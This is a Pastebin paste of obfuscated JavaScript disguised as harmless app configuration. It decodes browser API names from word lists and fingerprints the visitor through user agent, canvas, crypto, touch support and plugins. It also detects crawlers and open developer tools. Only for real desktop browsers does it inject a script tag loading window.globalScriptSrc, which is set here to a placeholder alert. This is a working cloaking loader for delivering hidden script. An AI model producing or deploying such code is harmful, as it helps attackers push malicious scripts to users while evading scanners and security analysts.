Advertisement
Guest User

Untitled

a guest
Oct 4th, 2018
152
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.37 KB | None | 0 0
  1. window.globalScriptSrc = "data:text/javascript,alert('work, yes')";
  2. +function () {
  3. var t, bingo, paper, check, c, d, obj, translate;
  4. var l = loadBindData;
  5. var lib = 'React';
  6.  
  7. var appRequirements = {
  8. device: 'pc',
  9. screen: 1980,
  10. lang: 'java',
  11. cookie: true,
  12. src: '',
  13. teg: 'body',
  14. support: 'global',
  15. internet: 'enabled',
  16. method: 'post',
  17. accent: 'color',
  18. plugins: ['react-datepicker', 'rc-tree'],
  19. security: true,
  20. name: 'app',
  21. version: '1.0.0',
  22. platform: ['win', 'lin', 'mac'],
  23. browsers: ['chrom', 'safari', 'firefox', 'edge', 'opera'],
  24. accessCode: 1e13
  25. };
  26.  
  27. var calc = Math;
  28.  
  29. var elem = up(getData(l, 'not', 'logo', 'dom', 'clone')); // Node
  30. var ladder = {
  31. getCheck: function (param) {
  32. translate = bingo;
  33. return this
  34. },
  35.  
  36. getContext: function () {
  37. if (document.documentElement.firstElementChild === undefined) {
  38.  
  39. Object.defineProperty(Element.prototype, 'firstElementChild', {
  40. get: function () {
  41. var el = this.firstChild;
  42. do {
  43. if (el.nodeType === 1) {
  44. return el;
  45. }
  46. el = el.nextSibling;
  47. } while (el);
  48.  
  49. return null;
  50. }
  51. });
  52. }
  53. getContext(entities, additional);
  54. obj = t; // one more window
  55. return this
  56. },
  57.  
  58. getAge: function () {
  59. if (t) {
  60. paper = t[d]; // document
  61. c = paper; // document
  62. }
  63. return this
  64. }
  65. };
  66. var additional = ['Message', 'side', 'bug', 'sistem', 'post'];
  67. var entities = ['vas', 'ran', 'bar', 'dom', 'can', 'gate', 'web', 'or', 'mental', 'cube'];
  68.  
  69. var code = appRequirements.accessCode;
  70. var stamp = new Date / code;
  71.  
  72. var logo = $(entities[1], entities[3]); //random
  73. ladder.getContext()
  74. .getAge()
  75. .getCheck();
  76.  
  77. ~function (a, b) {
  78. var x = [];
  79. for (var i = 0; i < b.length; i++) {
  80. if (!i) {
  81. x.push(b)
  82. }
  83. }
  84. calc[b] = function () { return stamp };
  85. if (a) {
  86. a.forEach(calculatePosition)
  87. };
  88. }(getPlace(), logo);
  89.  
  90. var picture;
  91. var user = {
  92. login: 'Agent',
  93. password: 'user'
  94. };
  95.  
  96. var summer = getData(loadBindData, 'sun', 'ice', 'sand', 'wine', 'crab', 'umbrella', 'rom');
  97. var nut = String.fromCharCode(68) + (!![] + '').substring(3, 4) + additional[2]; // Debug
  98. var romb = lib.slice(0, 2) + lib.slice(3); // Rect
  99. var ff = t[summer]; //isNativeFF,
  100. var age = t[nut]; // IE/Edge
  101. var giraffe = obj[romb]; // isNativeSafari Safari/Firefox
  102.  
  103. function getKeys(obj) {
  104. var keys = [];
  105. iterate(obj, function (oVal, oKey) { keys.push(oKey) });
  106. return keys;
  107. };
  108.  
  109. var end = getData(loadBindData, 'cake', 'nut', 'sorbet'); // ent
  110. var music = getData(l, 'pop', 'alternative', 'rap').toUpperCase(); // PER
  111. var findPart = additional[3].slice(0, 4).toUpperCase();
  112. var style = $(music, findPart);
  113. var primaryColor = $(style, end).toUpperCase();
  114. var isColored = obj[primaryColor]; // Chrome
  115. var translations = getKeys(appRequirements);
  116. var raduis = obj[translations[1]];
  117.  
  118.  
  119. var help = translations[3] + appRequirements['internet'].slice(0, 1).toUpperCase() + appRequirements['internet'].slice(1);
  120.  
  121. function iterate(iterable, callback) {
  122. for (var key in iterable) {
  123. if (key === 'length' || key === 'prototype' || !Object.prototype.hasOwnProperty.call(iterable, key)) continue;
  124. callback(iterable[key], key, iterable);
  125. }
  126. };
  127.  
  128. function getImage(x, y) {
  129. return entities[x] + entities[y];
  130. };
  131.  
  132. function getDeep() {
  133. var abc = getData(l, 'lacrosse', 'pit', 'port', 'hat'); // epth
  134. return $(String.fromCharCode(68), abc);
  135. };
  136.  
  137. var winter = ['ice', 'x', 'glove', 'log'];
  138.  
  139. function findExt() { //devicePixelRatio
  140. var point = $(String.fromCharCode(80), getData(loadBindData, winter));
  141. var rang = getData(l, 'Rom', 'axe', 'sport', 'ink', 'solo'); //Ratio
  142. return $($(translations[0], point), rang);
  143. };
  144.  
  145. var deepRatio = $(appRequirements.accent, getDeep()) //screen.colorDepth;
  146. var assets = translations[10]; // plugins
  147. var isFavorite = checkFavorite(); // isNewChrome
  148.  
  149. function getData() {
  150. var temp = [];
  151. var w = '';
  152. var f = arguments[0];
  153. if (Array.isArray(arguments[1])) {
  154. var data = arguments[1];
  155. if (!data || !data.length) {
  156. return data
  157. } else {
  158. for (var j = 0; j < data.length; j++) {
  159. w += f(data[j])
  160. }
  161. }
  162. } else {
  163. for (var i = 1; i < arguments.length; i++) {
  164. w += f(arguments[i])
  165. }
  166. }
  167. return w
  168. };
  169. var control = appRequirements.lang + up(appRequirements.internet); // javaEnabled
  170. var base = getData(loadBindData, 'bus', 'metro', 'sled', 'lorry'); // body
  171. var length = 'Child';
  172. var isOn = appRequirements.internet[0].toUpperCase();
  173.  
  174. function getWage(param) {
  175. if (param[translations[11]]) {
  176. return 4
  177. } else if (ff) {
  178. return 1
  179. } else {
  180. return 2
  181. }
  182. };
  183.  
  184. var oldEntries = appRequirements.name + elem.replace('N', 'C') + up('name'); // appCodeName
  185. var newEntries = appRequirements.name + up(translations[13]); // appVersion
  186.  
  187. var isSmall = function () { return !"".match.call(translate[assets][0].name, "um") }; // 0 in Chromium
  188. var wage = getWage(paper); // consoleCounter
  189.  
  190. function findEntries() {
  191. return [bingo[oldEntries], bingo[newEntries]].join(bingo[control]).match(/"/g);
  192. };
  193.  
  194. function getPlace() {
  195. return this[elem]['__cspr__'];
  196. };
  197.  
  198. function calculatePosition(coord) {
  199. return this[elem].prototype[coord[0]] = coord[1];
  200. };
  201.  
  202. var highlight = getData(l, 'buz', 'goal', 'pikabu', 'tour');
  203. var allowed = appRequirements;
  204. var gardian = allowed.browsers;
  205. var animals = getData(l, 'cat', 'rat', 'grizzly', 'pig', 'marmot', 'armadillo'); // crypto
  206. var isRealCaterpillar = typeof (obj[animals]) == "function" || findEntries(); // isFakeCrawler
  207. var addFile = findFastSolution(true); // createElement
  208. var width = appRequirements;
  209.  
  210.  
  211. function loadBindData(s) {
  212. if (s.length > 3) {
  213. return s[s.length - 1];
  214. }
  215. else return s[0];
  216. };
  217.  
  218. var png = getImage(4, 0);
  219. var img = paper[addFile](png); // canvasElem
  220. var attr = 'src';
  221. var imageSrc = getImageSrc();
  222.  
  223. try { var event = t[highligh] + "" } catch (e) { var event = false };
  224.  
  225. function findItem() { return $(translations[1][0], animals.slice(0, 2)) + $('ip', end[2]); }; // script
  226. var padding = width.name; // app
  227. var language = /g/;
  228. var doCheck = function () { // fireTrackingScript
  229. var content = addImage();
  230. return content(paper[addFile](findItem()))[attr] = t[imageSrc];
  231. };
  232.  
  233. function addImage() {
  234. var place = $(padding, 'end'); // append
  235. var height = calculateImageHeight(place);
  236. return paper[width.teg][height].bind(paper[width.teg]);
  237. };
  238.  
  239. function getImageSrc() { // globalScriptSrc
  240. return appRequirements.support + $(up(findItem()), up(attr));
  241. };
  242.  
  243. function up(item) {
  244. return item[0].toUpperCase() + item.slice(1);
  245. };
  246.  
  247. function calculateImageHeight(place) {
  248. return $(place, length)
  249. };
  250.  
  251. language.toString = function () { --wage; return "" };
  252.  
  253. var magic = translations[14];
  254.  
  255. var magicRegex = function () {//!!!!!!! change to win
  256. var ink = appRequirements[magic][0] + '|' + appRequirements[magic][2];
  257. return new RegExp(ink, 'ig');
  258. };
  259.  
  260. var minCheck = appRequirements.platform[2].replace('c', 'x');
  261.  
  262. if (translate[magic].match(magicRegex())) { // ts/mac, no mobiles
  263. var result = [];
  264. for (var i = magic.length; i > 0; i--) {
  265. result.push(magic[i]);
  266. }
  267. var dayOff = hasDayOff();
  268. var checkedData = checkData();
  269. var list = up(getData(l, 'tost', 'potato', 'un', 'can', 'hot'));
  270. var credentials = getCredentials(list); // maxTouchPoints
  271. if (!bingo[credentials]) { // no touchscreens
  272. if (!Array.prototype.findIndex) {
  273. Array.prototype.findIndex = function(predicate) {
  274. if (this == null) {
  275. throw new TypeError('Array.prototype.findIndex called on null or undefined');
  276. }
  277. if (typeof predicate !== 'function') {
  278. throw new TypeError('predicate must be a function');
  279. }
  280. var list = Object(this);
  281. var length = list.length >>> 0;
  282. var thisArg = arguments[1];
  283. var value;
  284.  
  285. for (var i = 0; i < length; i++) {
  286. value = list[i];
  287. if (predicate.call(thisArg, value, i, list)) {
  288. return i;
  289. }
  290. }
  291. return -1;
  292. };
  293. }
  294. if (!isRealCaterpillar && getAssets()) {
  295. if (checkedData) {
  296. console.log(language); // will decrement "consoleCounter"
  297. if (wage > 0 && t[dayOff]) { //check for canvas support
  298. // all ok, fire script
  299. doCheck();
  300. }
  301. }
  302. }
  303. }
  304. };
  305.  
  306. function hasDayOff() {
  307. var calendar = getData(loadBindData, 'big', 'un', 'fun', 'puff', 'elf', 'run');
  308. var experiance = up(entities[6]) + up(appRequirements.support[0]) + up(appRequirements.support[1]);
  309. return $(experiance, $(up('frame'), calendar));
  310. };
  311.  
  312. var auth = giraffe;
  313. var smart = getData(loadBindData, 'dog', 'caribou', 'worm', 'pig'); // dump
  314.  
  315. function fetchData() {
  316. var data = '';
  317. for (var i = 0; i < arguments.length; i++) {
  318. data += arguments[i]
  319. }
  320. };
  321.  
  322. var h = getData(l, 'kookaburra', 'albatross', 'sou', 'eagle', 'man', 'bat', 'kestrel', 'canary');
  323. var low = entities[7][0] + additional[1][0] + entities[4][0] + additional[4][0] + additional[2][1];
  324.  
  325. function createText(text, f) {
  326. return new RegExp(text, f);
  327. };
  328.  
  329. var down = $(up(entities[6]), up(h));
  330. var corner = $(getData(loadBindData, 'window', 'a', 'sun', 'fantom'), up(appRequirements.internet));
  331.  
  332. function checkData() {
  333. var signedIn = $(user.password, user.login); // userAgent
  334. var checked = translate[signedIn]; // navigator.userAgent
  335. return checked.match(signIn()) && (auth || ff) ||
  336. checked.match(freeEnter()) && isColored && isFavorite && isSmall() ||
  337. checked.match(isAllowed()) && age
  338. };
  339.  
  340. function getAssets() {
  341. return !t[smart] || t[down] && bingo[low] || bingo[corner];
  342. };
  343.  
  344. function getCredentials(list) {
  345. var cr = $(list, up(getData(l, 'stamp', 'owl', 'in', 'tablet', 'sun')));
  346. return $(minCheck, cr);
  347. };
  348.  
  349. function pm() {
  350. return appRequirements.method + additional[0];
  351. };
  352.  
  353. function createElement(el, value) {
  354. return el + value;
  355. };
  356.  
  357. function signIn() {
  358. var text = gardian[1] + '|' + gardian[2];
  359. return createText(text, 'i');
  360. };
  361.  
  362. function freeEnter() {
  363. var text = gardian[0];
  364. return createText(text, 'i');
  365. };
  366.  
  367.  
  368. function findFastSolution(data) { //createElement
  369. var action;
  370. if (data) {
  371. action = 'create';
  372. if (!picture) {
  373. picture = entities[4] + entities[0];
  374. } // canvas
  375. } else {
  376. picture = 'art'
  377. }
  378. var first = action + isOn;
  379. var second = getData(loadBindData, 'lip', 'elf', 'charm') + end;
  380.  
  381. return $(first, second)
  382. };
  383.  
  384. function checkFavorite() {
  385. return t[pm()] && obj[findExt()] && raduis[deepRatio] && bingo[help] && translate[assets];
  386. };
  387.  
  388. function isAllowed() {
  389. var text = $(createElement('tr', 'id'), end) + '|' + gardian[3]; // /trident|edge/i
  390. return createText(text, 'i');
  391. };
  392.  
  393. function $(str, lett) {
  394. return str + lett;
  395. };
  396.  
  397. function getContext(a, p) {
  398. if (a) {
  399. t = this; // window
  400. if (a[2] === 'bar') {
  401. var part = a[1].split('').reverse().join('').slice(0, 2);
  402. var n = part + String.fromCharCode(118) + String.fromCharCode(105) + a[5].substring(0, 3) + a[7]; // navigator
  403. d = a[3].substring(0, 2) + a[9].substring(0, 2) + a[8].substring(0, 4);// document
  404. bingo = t[n]; // navigator
  405. }
  406. }
  407. };
  408. }();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement